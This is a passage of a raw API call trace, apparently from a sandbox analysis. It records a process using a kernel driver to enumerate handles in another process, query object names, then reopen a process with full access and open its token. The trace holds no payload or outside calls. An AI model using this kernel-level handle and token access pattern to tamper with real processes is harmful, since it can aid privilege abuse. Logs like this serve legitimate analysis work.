PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.220] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0104.220] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.220] PsReleaseProcessExitSynchronization () returned 0x2 [0104.220] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.220] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.220] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0104.220] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.220] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.220] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0104.220] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.220] PsAcquireProcessExitSynchronization () returned 0x0 [0104.220] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.220] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0104.220] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.220] PsReleaseProcessExitSynchronization () returned 0x2 [0104.220] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.220] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.220] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0104.220] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.220] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.220] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0104.220] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.220] PsAcquireProcessExitSynchronization () returned 0x0 [0104.220] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.220] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0104.220] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.220] PsReleaseProcessExitSynchronization () returned 0x2 [0104.220] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.220] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.221] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0104.221] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.221] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.221] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.221] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0104.221] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.221] PsAcquireProcessExitSynchronization () returned 0x0 [0104.221] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.221] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0104.221] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.221] PsReleaseProcessExitSynchronization () returned 0x2 [0104.221] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.221] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.221] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0104.221] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.221] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.221] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.221] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.221] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.221] PsAcquireProcessExitSynchronization () returned 0x0 [0104.221] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.221] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.221] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.221] PsReleaseProcessExitSynchronization () returned 0x2 [0104.221] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.221] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.221] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.221] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.221] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.221] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.222] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.222] PsAcquireProcessExitSynchronization () returned 0x0 [0104.222] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.222] ObReferenceObjectByHandle (in: Handle=0x678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0104.222] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.222] PsReleaseProcessExitSynchronization () returned 0x2 [0104.222] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.222] ObQueryNameString (in: Object=0xfffffa80018f9ca0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.222] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x1 [0104.222] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.222] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0104.222] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.222] PsAcquireProcessExitSynchronization () returned 0x0 [0104.222] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.222] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0104.222] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.222] PsReleaseProcessExitSynchronization () returned 0x2 [0104.222] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.222] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.222] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0104.222] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.222] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0104.222] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.222] PsAcquireProcessExitSynchronization () returned 0x0 [0104.222] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.223] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0104.223] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.223] PsReleaseProcessExitSynchronization () returned 0x2 [0104.223] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.223] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.223] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0104.223] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.223] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.223] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0104.223] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.223] PsAcquireProcessExitSynchronization () returned 0x0 [0104.223] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.223] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0104.223] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.223] PsReleaseProcessExitSynchronization () returned 0x2 [0104.223] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.223] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.223] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0104.223] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.223] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.223] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.223] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.223] PsAcquireProcessExitSynchronization () returned 0x0 [0104.223] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.223] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0104.223] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.223] PsReleaseProcessExitSynchronization () returned 0x2 [0104.223] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.223] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.223] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0104.223] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.224] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0104.224] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.224] PsAcquireProcessExitSynchronization () returned 0x0 [0104.224] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.224] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0104.224] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.224] PsReleaseProcessExitSynchronization () returned 0x2 [0104.224] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.224] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.224] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x13 [0104.224] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.225] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0104.225] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.225] PsAcquireProcessExitSynchronization () returned 0x0 [0104.225] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.225] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0104.225] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.225] PsReleaseProcessExitSynchronization () returned 0x2 [0104.225] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.225] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x12 [0104.225] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.225] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0104.225] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.225] PsAcquireProcessExitSynchronization () returned 0x0 [0104.225] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.225] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0104.225] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.225] PsReleaseProcessExitSynchronization () returned 0x2 [0104.225] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.225] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.225] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0104.225] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.225] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0104.225] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.225] PsAcquireProcessExitSynchronization () returned 0x0 [0104.226] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.226] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0104.226] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.226] PsReleaseProcessExitSynchronization () returned 0x2 [0104.226] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.226] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.226] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0104.226] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.226] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.226] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.226] PsAcquireProcessExitSynchronization () returned 0x0 [0104.226] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.226] ObReferenceObjectByHandle (in: Handle=0x874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037eecc0, HandleInformation=0x0) returned 0x0 [0104.226] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.226] PsReleaseProcessExitSynchronization () returned 0x2 [0104.226] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.226] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.226] ObfDereferenceObject (Object=0xfffffa80037eecc0) returned 0x5 [0104.226] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.226] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.226] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0104.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.226] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0104.226] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0104.226] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcf [0104.226] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa800399eb40 | out: TokenHandle=0xfffffa800399eb40*=0xc8) returned 